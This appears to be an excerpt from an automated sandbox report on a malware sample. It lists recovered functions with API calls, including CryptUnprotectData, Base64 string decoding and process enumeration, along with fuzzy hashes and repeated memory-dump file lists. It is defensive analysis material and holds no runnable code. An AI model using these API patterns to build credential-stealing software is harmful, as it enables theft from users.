tf'~, xrefs: 0045D036

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7t?4$Geo[$b%'$tf'~$x%g
API String ID: 0-2187750480
Opcode ID: bba6c9580b66e738e5c1055d146d45e186bab3b12e20b7823a95e0b870eb93c7
Instruction ID: ee24991c35f4277840e412d7a2e0d76440560cf8c685417a3043963d5df5e6e3
Opcode Fuzzy Hash: bba6c9580b66e738e5c1055d146d45e186bab3b12e20b7823a95e0b870eb93c7
Instruction Fuzzy Hash: 78A22AF3A0C2009FE7046E2DEC8577ABBE9EF94320F16463DEAC5C7740E67598058696

Function 0008C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0008C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0008C87C
lstrcat.KERNEL32(?,000A0B46), ref: 0008C943
lstrcat.KERNEL32(?,000A0B47), ref: 0008C957
lstrcat.KERNEL32(?,000A0B4E), ref: 0008C978

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: fb5b4077386e941c78fc7b11391dc38818e84f9625eb47ae46e254aa827ce760
Instruction ID: 7cf60a212d1c0c550992f3594dde78d0c44affb8926c88b478d38a2a955f4965
Opcode Fuzzy Hash: fb5b4077386e941c78fc7b11391dc38818e84f9625eb47ae46e254aa827ce760
Instruction Fuzzy Hash: 09416DB591421EDBDB10DFA4DD89FEEB7B8BB48708F1045A8F509A6280D7705A84CFA1

Function 00096920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0009696C
sscanf.NTDLL ref: 00096999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000969B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 000969C0
ExitProcess.KERNEL32 ref: 000969DA

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: e08513a433fbdb050d94e147d75e71f92704544db75523194b8c635db61074a2
Instruction ID: 553691634105c9edbc89f06f25b3688f270dd69b7f57c09778d9b8ef7790c18a
Opcode Fuzzy Hash: e08513a433fbdb050d94e147d75e71f92704544db75523194b8c635db61074a2
Instruction Fuzzy Hash: 3721CB75D1420CABCF04EFE4E9499EEB7B9BF48304F04852AE506E3250EB355609DBA9

Function 00087240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0008724D
RtlAllocateHeap.NTDLL(00000000), ref: 00087254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00087281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 000872A4
LocalFree.KERNEL32(?), ref: 000872AE

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 58c29c7ca52253026c4cabb1ac25f5777bf83710273d2d443fed6b404dda830c
Instruction ID: 6baab73669f6eb53c19e37e24e0913d04fe4b88bb647246a582df4924e9b6cee
Opcode Fuzzy Hash: 58c29c7ca52253026c4cabb1ac25f5777bf83710273d2d443fed6b404dda830c
Instruction Fuzzy Hash: 3F011275A40208BBEB10DFE4DD4AF9D77B8FB44704F104155FB05AB2C0D670AA008B65

Function 00099600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0009961E
Process32First.KERNEL32(000A0ACA,00000128), ref: 00099632
Process32Next.KERNEL32(000A0ACA,00000128), ref: 00099647
StrCmpCA.SHLWAPI(?,00000000), ref: 0009965C
CloseHandle.KERNEL32(000A0ACA), ref: 0009967A

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7757566010108f417a7abe5d36587dc775015db55e9605541bc31bbec28cd01b
Instruction ID: 0b66e62a007652c1e98bd5b7b0b0b0091a34d21ec5c262e12fba75dd7fb5a12b
Opcode Fuzzy Hash: 7757566010108f417a7abe5d36587dc775015db55e9605541bc31bbec28cd01b
Instruction Fuzzy Hash: AD010C75A00208EBCF24DFA5DD48FEDBBF8FB48304F104288A90696240D7349B44DF51

Function 0045DD14 Relevance: 6.6, Strings: 4, Instructions: 1611COMMON

Download Yara Rule

Strings

s;{_, xrefs: 0045E755
IYw>, xrefs: 0045ED6A
m3_{, xrefs: 0045DF48
IYw>, xrefs: 0045ED5E

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: IYw>$IYw>$m3_{$s;{_
API String ID: 0-4280254159
Opcode ID: bf22612a831882701309d189eb3b11506633a81dc77a0c7dabfc6d75b8393688
Instruction ID: 5fcb4c992f572bd12db8beeeebf1546483f187d1471de394b9b7564c972840c4
Opcode Fuzzy Hash: bf22612a831882701309d189eb3b11506633a81dc77a0c7dabfc6d75b8393688
Instruction Fuzzy Hash: 93B206F36082049FE304AE2DEC8577AB7E9EF94720F1A853DE6C4C7744EA3598058697

Function 00098EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00085184,40000001,00000000,00000000,?,00085184), ref: 00098EC0

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 719d190bed3db6718c233ab0f3fb32a0cdcefe89079d32cdd3fe6cb4c019c68c
Instruction ID: 22504cfc9f0935ffe7b6bd86b6a52b0caf35c56c13643e60926f462d9a382a69
Opcode Fuzzy Hash: 719d190bed3db6718c233ab0f3fb32a0cdcefe89079d32cdd3fe6cb4c019c68c
Instruction Fuzzy Hash: 21110670200208AFDF40CF64E898FAA33A9AF8A304F10E558F9198B350DB35E841EB60

Function 00089AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00084EEE,00000000,?), ref: 00089B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00084EEE,00000000,00000000), ref: 00089B2A
LocalFree.KERNEL32(?,?,?,?,00084EEE,00000000,?), ref: 00089B3F

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 1eb95aa87054b91d7a35c6c80b51b2d15caee9162813e3be58903358057b7b4c
Instruction ID: 9a6127d002cceeec661d744ba68c76980b915c2151ae74dd58f17e10827b1432
Opcode Fuzzy Hash: 1eb95aa87054b91d7a35c6c80b51b2d15caee9162813e3be58903358057b7b4c
Instruction Fuzzy Hash: BA11A2B4241208AFEB10DF64DC99FAA77B5FB89704F208158F9199B390C7B6A901CB94

Function 00097A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00D3F1E8,00000000,?,000A0E10,00000000,?,00000000,00000000), ref: 00097A63
RtlAllocateHeap.NTDLL(00000000), ref: 00097A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00D3F1E8,00000000,?,000A0E10,00000000,?,00000000,00000000,?), ref: 00097A7D
wsprintfA.USER32 ref: 00097AB7

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 3b6bd9e69828a4bf1b74210f1bf6dee4c04cc525210b233ca639c363bf3c21b8
Instruction ID: 41ed6f284bbcf8af567a5e4150229919316100de69810ab92589b55dcf55d1a4
Opcode Fuzzy Hash: 3b6bd9e69828a4bf1b74210f1bf6dee4c04cc525210b233ca639c363bf3c21b8
Instruction Fuzzy Hash: E111A1B1945218EBEB20CF54DC49FA9B7B8FB44721F10439AEA0A932C0C7741E40CF52

Function 00453D5E Relevance: 5.3, Strings: 3, Instructions: 1558COMMON

Download Yara Rule

Strings

zN|, xrefs: 0045500E
3X|?, xrefs: 0045470B
I?g, xrefs: 00454901

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3X|?$I?g$zN|
API String ID: 0-3293989720
Opcode ID: f95cfcea0ecc691f03aedb0baf38586a7e63d5c801cdcea045d73aa07ab0f6ae
Instruction ID: 3c91b1dc3cca4de78fdcdb83ea07239224d1849b141bc1d77324648425648877
Opcode Fuzzy Hash: f95cfcea0ecc691f03aedb0baf38586a7e63d5c801cdcea045d73aa07ab0f6ae
Instruction Fuzzy Hash: 76B2F4F360C204AFE7046F29EC8567AFBE9EF94760F1A492DEAC487740E63558408697

Function 00457BD8 Relevance: 4.6, Strings: 3, Instructions: 850COMMON

Download Yara Rule

Strings

+;o, xrefs: 00458313
6JZ, xrefs: 0045838A
~s, xrefs: 00457D61

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ~s$ +;o$6JZ
API String ID: 0-4200540766
Opcode ID: fb04a0f107c84327b3e4b7c4999fa67d54627e265938e305ed42c6134ffaceca
Instruction ID: 8283fa4746cf3d73047f5548f8f8ecad982be1970fed52620db531d3f791762b
Opcode Fuzzy Hash: fb04a0f107c84327b3e4b7c4999fa67d54627e265938e305ed42c6134ffaceca
Instruction Fuzzy Hash: 9F4238F360C204AFE3046E2DEC8567BBBE9EF98720F1A493DE6C4D3744E97558018696

Function 00093720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0009E118,00000000,00000001,0009E108,00000000), ref: 00093758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 000937B0

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: dec08a625e8e14bd2e47dec7c1cf3db2151d580d1fd73563f541861959016511
Instruction ID: 230e48421756c09bdc13ee2ea01724d8b59b44dde0308d52388d823122923a38
Opcode Fuzzy Hash: dec08a625e8e14bd2e47dec7c1cf3db2151d580d1fd73563f541861959016511
